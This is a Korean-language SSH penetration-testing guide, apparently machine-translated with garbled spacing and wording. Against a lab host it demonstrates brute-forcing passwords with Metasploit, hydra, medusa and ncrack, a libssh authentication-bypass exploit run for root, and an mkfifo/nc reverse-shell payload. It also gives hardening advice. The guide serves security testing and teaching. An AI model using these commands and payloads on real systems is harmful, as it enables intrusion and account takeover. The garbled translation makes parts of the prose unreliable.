SSH 서비스 침투 테스트 이용 지 북
SSH 는 안전 하지 않 은 네트워크 를 통 해 안전하게 네트워크 서 비 스 를 실행 할 수 있 는 안전 한 원 격 셸 프로 토 콜 이다.기본 SSH 포트 는 22 로 보통 인터넷 이나 인 트 라 넷 의 서버 에서 열 린 상 태 를 볼 수 있 습 니 다.
SFTP 는 SSH 를 통 해 파일 을 전송 하 는 데 사용 되 는 SSH 파일 전송 프로 토 콜 로, 대부분의 SSH 구현 도 SFTP 를 지원 한다.
0x 02 SSH 서버/라 이브 러 리
가장 유명 하고 흔 한 SSH 서버 와 클 라 이언 트 는 openSSH (OpenBSD 보안 셸) 이다.그것 은 기능 이 강하 고 유지 가 잘 되 어 1999 년 에 처음으로 발표 되 었 다.따라서 이 는 윈도 10 이후 윈도 에 첨부 된 BSD, 리 눅 스 의 소프트웨어 중 윈도 에서 가장 흔히 볼 수 있 는 실현 이다.
그러나 openSSH 는 유일한 실현 이 아니 라 다른 소프트웨어 도 실현 된다.
SSH 서버:
· openSSH – OpenBSD SSH, Windows 10 부터 BSD, Linux 발행 판, Windows 에서 제공
· Dropbear – OpenWrt 메모리 와 프로세서 자원 이 적은 환경 에 추가 되 는 SSH 구현
· PuTTY – Windows 의 SSH 구현 은 일반적으로 클 라 이언 트 를 사용 하고 서버 를 거의 사용 하지 않 습 니 다.
· CopSSH – 윈도 버 전 OpenSSH 의 실현
SSH 라 이브 러 리 (서버 에서 구현):
· libssh -다 중 플랫폼 C 라 이브 러 리 는 SSHv 2 와 연 결 된 프로 토 콜 의 Python, Perl 과 ropensci 를 실현 합 니 다. ; 이것 은 KDE 에서 sftp 에 사용 되 며 GitHub 에서 git SSH 기본 구조 에 사 용 됩 니 다.
· wolfSSH –ANSI C 로 작 성 된 SSHv 2 서버 라 이브 러 리 는 내장 형, 기 열 RTOS 와 자원 이 제 한 된 환경 을 대상 으로 합 니 다.
· Apache MINA SSHD – 아파 치 SSHD 자바 라 이브 러 리 는 아파 치 MINA 기반
· paramiko – 파 이 썬 SSHv 2 프로 토 콜 라 이브 러 리
0x 03 일반적인 설정 오류
루트 계 정 로그 인
기본적으로 대부분의 SSH 서버 는 루트 로그 인 을 허용 하고 사용 하지 않 는 것 을 권장 합 니 다. 이 계 정의 증거 가 누설 되면 공격 자 는 직접 관리 특권 을 얻 고 공격 자가 이 계 정 을 폭력 적 으로 공격 할 수 있 기 때 문 입 니 다.
openSSH 의 루트 로그 인 을 사용 하지 않 는 방법:
1. SSH 서버 설정 sudoedit/etc/ssh/sshd 편집config
2. 변경\# PermitRootLogin yes 성 PermitRootLogin no
3. 설정 변경 진행: sudo systemctl daemon - reload
4. SSH 서버 sudo systemctl 다시 시작 sshd
SFTP 명령 실행
또 다른 일반적인 SSH 오류 설정 은 보통 SFTP 설정 에 나타 납 니 다.대부분의 경우 SFTP 서버 를 만 들 때 관리 자 는 컴퓨터 에서 원 격 Shell 을 얻 지 않 고 SFTP 접근 권한 을 가지 고 파일 을 공유 하 기 를 원 합 니 다.따라서 사용 자 를 만 들 고 자리 표시 자 셸 (예 를 들 어/usr/bin/nologin 또는/usr/bin/false) 을 할당 하 며 chroot 를 사용 하면 셸 이 전체 파일 시스템 에 접근 하거나 남용 되 는 것 을 피 할 수 있다 고 생각 합 니 다.그러나 이것 은 잘못된 것 입 니 다. 사용 자 는 인증 후 즉시 명령 을 실행 하 라 고 요구 한 다음 기본 명령 이나 셸 프로그램 을 실행 할 수 있 습 니 다.따라서 셸 접근 을 거부 하 는 자리 표시 자 셸 을 돌아 가 려 면 다음 작업 을 수행 하면 명령 (예:/bin/bash) 을 실행 하 라 고 요구 할 수 있 습 니 다.
$ ssh -v [email protected] id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting [email protected]
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype [email protected] want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype [email protected] reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh [email protected] /bin/bash
이것 은 사용자 의 보안 SFTP 설정 (/etc/ssh/sshd config – openSSH) 의 noraj 예제 입 니 다.
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
이 설정 은 SFTP 만 허용 합 니 다. 명령 을 강제로 시작 하고 TTY 접근 을 사용 하지 않 으 면 셸 프로그램 접근 을 사용 하지 않 습 니 다. 모든 종류의 포트 전송 이나 터널 을 사용 하지 않 을 수도 있 습 니 다.
인증 방식
높 은 보안 환경 에서 일반적인 방법 은 키 나 두 가지 요소 에 기반 한 인증 만 사용 하 는 것 이지 간단 한 요소 암호 에 기반 한 인증 이 아 닙 니 다.그러나 약 한 인증 방법 을 사용 하지 않 고 더 강 한 인증 방법 을 사용 합 니 다.일반적인 경우 publickey openSSH 설정 을 사용 하고 password 를 사용 하지 않 는 대신 기본 방법 으로 설정 합 니 다.따라서 SSH 클 라 이언 트 의 상세 한 모드 를 사용 하면 공격 자 는 비교적 약 한 로그 인 방법 을 사용 할 수 있 습 니 다.
$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
예 를 들 어 인증 실패 제한 이 설정 되 어 있 고 더 이상 암호 화 방법 을 사용 할 기회 가 없다 면 이 PreferredAuthentications 옵션 을 사용 하여 이 방법 을 강제로 사용 할 수 있 습 니 다.
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
SSH 서버 설정 이 필요 한 지 확인 하고 원 하 는 방법 만 권한 을 수 여 했 는 지 확인 합 니 다.클 라 이언 트 에서 상세 한 모드 를 사용 하면 설정 의 유효성 을 볼 수 있 습 니 다.
0x 04 공격 시범
현재, 우 리 는 일부 SSH 서버 에서 이 공격 예 시 를 복사 할 수 있 는 공격 예 시 를 볼 수 있 습 니 다.
암호 폭파
현재, 나 는 네 개의 도 구 를 사용 하여 metasploit 프레임 워 크, hydra, medusa 와 ncrack 를 통 해 암호 사전 이 있 는 SSH 사용자 암 호 를 폭력 적 으로 풀 것 이다.
모든 상황 에서 우 리 는 기 계 를 192.168.1.94 포트 22 에 잠 그 고 사용자 noraj 의 비밀번호 만 폭력 적 으로 풀 었 다.
인자/옵션 을 모 르 신다 면 아래 에 제 시 된 도움말 메 시 지 를 읽 으 십시오.
Metasploit
Metasploit 사용 하기:
$ msf5 > search ssh
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
...
17 auxiliary/scanner/ssh/ssh_login normal Yes SSH Login Check Scanner
...
msf5 > use 17
msf5 auxiliary(scanner/ssh/ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attempts
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/password/rockyou.txt
PASS_FILE => /usr/share/wordlists/password/rockyou.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.94
RHOSTS => 192.168.1.94
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set username noraj
username => noraj
msf5 auxiliary(scanner/ssh/ssh_login) > run
[+] 192.168.1.94:22 - Success: 'noraj:noraj' ''
[*] Command shell session 1 opened (192.168.1.83:37291 -> 192.168.1.94:22) at 2020-01-02 21:33:33 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
hydra
다운로드 주소:https://github.com/vanhauser-thc/thc-hydra
$ hydra -l noraj -P /usr/share/wordlists/password/rockyou.txt -e s ssh://192.168.1.94
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-02 21:44:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.94:22/
[22][ssh] host: 192.168.1.94 login: noraj password: noraj
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-02 21:44:33
도움말 메시지 발췌 문:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
service the service to crack (see below for supported protocols)
medusa
다운로드 주소:http://foofus.net/goons/jmk/medusa/medusa.html
$ medusa -h 192.168.1.94 -u noraj -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
ACCOUNT CHECK: [ssh] Host: 192.168.1.94 (1 of 1, 0 complete) User: noraj (1 of 1, 0 complete) Password: noraj (1 of 14344391 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.94 User: noraj Password: noraj [SUCCESS]
도움말 메시지 발췌 문:
-h [TEXT] : Target hostname or IP address
-u [TEXT] : Username to test
-P [FILE] : File containing passwords to test
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
ncrack
다운로드 주소:https://github.com/nmap/ncrack
$ ncrack --user noraj -P /usr/share/wordlists/password/rockyou.txt ssh://192.168.1.94
Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-01-02 21:50 CET
Discovered credentials for ssh on 192.168.1.94 22/tcp:
192.168.1.94 22/tcp ssh: 'noraj' 'noraj'
Ncrack done: 1 service scanned in 3.00 seconds.
Ncrack finished.
도움말 메시지 발췌 문:
-P : password file
--user : comma-separated username list
빈틈 활용 - LibSSH RCE
CVE - 2018 - 10933 은 libssh 라 이브 러 리 의 구멍 을 예 로 들 수 있 습 니 다. 이 구멍 은 인증 을 돌아 서 권한 이 부여 되 지 않 은 접근 을 허용 합 니 다.
libssh 0.6 및 더 높 은 버 전 은 서버 코드 에서 인증 이 구멍 을 뚫 었 습 니 다.서버 에 SSH2 제공MSG_USERAUTH_서버 대신 인증 을 원 하 는 SSH 2 SUCCESS 메시지MSG_USERAUTH_리 퀴 스 트 에 따 르 면 공격 자 는 아무런 증거 없 이 인증 에 성공 할 수 있다.
https://www.libssh.org/security/advisories/CVE-2018-10933.txt
공격 하기 쉬 운 버 전 을 찾 았 을 때 nmap 는 다음 과 같은 내용 을 보아 야 합 니 다.
22/tcp open ssh libssh 0.8.3 (protocol 2.0)
searchsploit (로 컬 탐색 Exploit - DB 에 사용 할 도구) 는 libssh 에 사용 할 수 있 는 기 존 구멍 을 보 여 줍 니 다.
searchsploit libssh
-------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------- ----------------------------------------
LibSSH 0.7.6 / 0.8.4 - Unauthorized Access | exploits/linux/remote/46307.py
libSSH - Authentication Bypass | exploits/linux/remote/45638.py
-------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
따라서 우 리 는 구멍 을 이용 해 프로그램 이 정상적으로 작 동 하 는 지 확인 하기 위해 명령 을 실행 할 수 있다.
$ python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 id
uid=0(root) gid=0(root) groups=0(root)
명령 만 실행 하 는 것 이 아니 라 역방향 Shell 을 실행 해 볼 수 있 습 니 다.
우선, 우 리 는 기계 에서 모니터 를 작 동 합 니 다: sudo ncat - nlp 80.
그리고 구멍 이용 중 sh 역방향 셸 paylaod 를 사용 합 니 다.
python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 80 >/tmp/f"
퍼 지 테스트
퍼 지 테스트 가 복잡 하기 때문에 저 는 두 가지 방법 만 중점적으로 소개 합 니 다.
· 통용 과 자동화 방법.
· 사용자 정의 와 수 동 방법.
통용 과 자동화 방법
sshfuzz. pl 과 같은 스 크 립 트 를 사용 하여 실시 간 SSH 서버 를 자동 으로 모호 하 게 테스트 할 수 있 습 니 다.
간단 한 장점 을 가지 고 있 지만 목적 성 이 강하 지 않 아 많은 시간 을 들 이 고 많은 결 과 를 놓 칠 것 이다.
의존 스 크 립 트 를 설치 하고 시작 하 는 것 은 이 두 줄 을 작성 하 는 것 처럼 간단 합 니 다.
$ cpan Net::SSH2
$ ./sshfuzz.pl -H 192.168.1.94 -P 22 -u noraj -p noraj
또 다른 실시 간 SSH 서버 에 적용 되 는 자동화 방법 은 metasploit 모듈 auxiliary/fuzzers/ssh/ssh 를 사용 하 는 것 입 니 다.version_2:
msf5 > use auxiliary/fuzzers/ssh/ssh_version_2
msf5 auxiliary(fuzzers/ssh/ssh_version_2) > set RHOSTS 192.168.1.94
msf5 auxiliary(fuzzers/ssh/ssh_version_2) > run
[*] Running module against 192.168.1.94
[*] 192.168.1.94:22 - Fuzzing with iteration 100 using fuzzer_string_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 200 using fuzzer_string_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 300 using fuzzer_string_long
[*] 192.168.1.94:22 - Fuzzing with iteration 400 using fuzzer_string_long
[*] 192.168.1.94:22 - Fuzzing with iteration 500 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 600 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 700 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 800 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 900 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 1000 using fuzzer_string_paths_giant
...
이 공구 들 을 사용 하 는 것 은 매우 쉽 지만, 이용 할 수 있 는 물건 을 찾 을 기 회 는 매우 적다.
사용자 정의 및 수 동 방법
더 중요 한 결 과 를 찾 고 목표 실현 에 익숙해 지 려 면 수 동 방법 을 선택 하 세 요.
이곳 의 기술 은 자체 적 으로 실행 되 는 SSH 서버 에서 고급 유 니 버 설 fuzy 를 사용 하고 소스 코드 를 수정 하여 테스트 실행 시간 을 최적화 하 는 것 이다.따라서 모델 fuzy 를 설정 하고 목 표를 설정 하고 구축 하 며 붕 괴 를 감지 하고 자원 집약 형 기능 을 사용 하여 fuzy 를 가속 화하 고 커버 범 위 를 증가 하 며 입력 테스트 사례 와 사전 을 만 들 려 면 SSH 프로 토 콜 과 그 실현 을 깊이 이해 해 야 합 니 다.
베 가 드 노 썸 입 니 다. AFL 을 사용 하여 OpenSSH 데 몬 을 Fuzzing 하 는 예제 입 니 다.
http://www.vegardno.net/2017/03/fuzzing-openssh-daemon-using-afl.html
0x 05 관련 도구 자원
“ HASSH ”네트워크 지문 인식 기준 으로 특정 클 라 이언 트 와 서버 SSH 를 표시 하 는 데 사용 할 수 있 습 니 다. 지문 은 MD5 지문 으로 쉽게 저장 되 고 검색 되 며 공유 할 수 있 습 니 다.
HASSH 는 팀 이 폭력 이나 증거 채 우기 시도, 데이터 유출, 네트워크 발견 과 가로 이동 등 을 탐지, 통제, 조사 하 는 데 도움 을 줄 수 있 는 표준 이다.
ssh - audit 는 SSH 서버 코드 감사 도구 (키 교환, 암호 화, mac, 압축 정보, 호환성, 안전성 등) 입 니 다.
전문 적 인 침투 테스트 인원 에 게 목표 버 전 을 신속하게 검 측 하고 원 격 서버 에서 사용 할 수 있 는 알고리즘 을 이해 하여 고객 에 게 알고리즘 을 제공 하 는 것 이 매우 편리 하 다.
사용 예시:
$ ssh-audit 192.168.1.94
# general
(gen) banner: SSH-2.0-OpenSSH_7.9
(gen) software: OpenSSH 7.9
(gen) compatibility: OpenSSH 7.3+, Dropbear SSH 2016.73+
(gen) compression: enabled ([email protected])
# key exchange algorithms
(kex) curve25519-sha256 -- [warn] unknown algorithm
(kex) [email protected] -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256 -- [warn] using custom size modulus (possibly weak)
`- [info] available since OpenSSH 4.4
(kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3
(kex) diffie-hellman-group14-sha256 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm
`- [info] available since OpenSSH 3.9, Dropbear SSH 0.53
# host-key algorithms
(key) rsa-sha2-512 -- [info] available since OpenSSH 7.2
(key) rsa-sha2-256 -- [info] available since OpenSSH 7.2
(key) ssh-rsa -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
(key) ecdsa-sha2-nistp256 -- [fail] using weak elliptic curves
`- [warn] using weak random number generator could reveal the key
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(key) ssh-ed25519 -- [info] available since OpenSSH 6.5
# encryption algorithms (ciphers)
(enc) [email protected] -- [info] available since OpenSSH 6.5
`- [info] default cipher since OpenSSH 6.9.
(enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr -- [info] available since OpenSSH 3.7
(enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) [email protected] -- [info] available since OpenSSH 6.2
(enc) [email protected] -- [info] available since OpenSSH 6.2
# message authentication code algorithms
(mac) [email protected] -- [warn] using small 64-bit tag size
`- [info] available since OpenSSH 6.2
(mac) [email protected] -- [info] available since OpenSSH 6.2
(mac) [email protected] -- [info] available since OpenSSH 6.2
(mac) [email protected] -- [info] available since OpenSSH 6.2
(mac) [email protected] -- [warn] using weak hashing algorithm
`- [info] available since OpenSSH 6.2
(mac) [email protected] -- [warn] using encrypt-and-MAC mode
`- [warn] using small 64-bit tag size
`- [info] available since OpenSSH 4.7
(mac) [email protected] -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode
`- [warn] using weak hashing algorithm
`- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
# algorithm recommendations (for OpenSSH 7.9)
(rec) -ecdh-sha2-nistp521 -- kex algorithm to remove
(rec) -ecdh-sha2-nistp384 -- kex algorithm to remove
(rec) -diffie-hellman-group14-sha1 -- kex algorithm to remove
(rec) -ecdh-sha2-nistp256 -- kex algorithm to remove
(rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove
(rec) -ecdsa-sha2-nistp256 -- key algorithm to remove
(rec) -hmac-sha2-512 -- mac algorithm to remove
(rec) [email protected] -- mac algorithm to remove
(rec) -hmac-sha2-256 -- mac algorithm to remove
(rec) [email protected] -- mac algorithm to remove
(rec) -hmac-sha1 -- mac algorithm to remove
(rec) [email protected] -- mac algorithm to remove
(rec) [email protected] -- mac algorithm to remove
SSH 의 특정한 구멍 이용 개발 에 실제 존재 하 는 것 은 많 지 않 지만 같은 일반적인 추세 도 많이 적용 된다. 많은 책 과 글 은 0 - day 구멍 기반 스 택 과 쌓 인 구멍 이용 개발 을 상세 하 게 소개 하 였 으 며, 그 중 일 부 는 자원 페이지 의 해당 부분 에 대해 소개 하 였 다.
[Corelan](https://www.corelan.be/)
https://community.turgensec.com/cyber-security-books/#Exploit_Development_Books
Shellcoders黑客手册:https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470/ref=as_li_ss_tl?&hvadid=310913487979&hvpos=1o1&hvnetw=g&hvrand=8783653603300561519&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9045957&hvtargid=pla-490871754939&psc=1&th=1&psc=1&linkCode=ll1&tag=turgen-20&linkId=07fb8b8c94849821380f9f4e955ec549&language=en_US
최근 가장 유명한 원 격 SSH 구멍 을 보 여 줍 니 다.
· https://www.exploit-db.com/exploits/18557〜Sysax 5.53 – SSH "사용자 이름"원 격 버퍼 넘 침 구멍
· https://www.exploit-db.com/exploits/45001〜OpenSSH <6.6 SFTP – 명령 실행 구멍
· https://www.exploit-db.com/exploits/45233〜OpenSSH 2.3 < 7.7 – 사용자 이름 매 거 진 빈틈
· https://www.exploit-db.com/exploits/46516〜OpenSSH SCP 클 라 이언 트 - 임의의 파일 에 쓰기 구멍
0x 06 SSH 안전 준칙
Mozilla 는 이 참고 지침 에서 OpenSSH 서버 의 안전 을 보호 하기 위해 조언 을 했다.
https://infosec.mozilla.org/guidelines/openssh
https://bettercrypto.org/#ssh
https://github.com/BetterCrypto/Applied-Crypto-Hardening
보안 SSH 설정 에 대한 최신 최선 의 실천 도 Applied Crypto Hardening 의 지침 에서 현재 OpenSSH, Cisco ASA, Cisco IOS 에 설정 예 시 를 제공 합 니 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.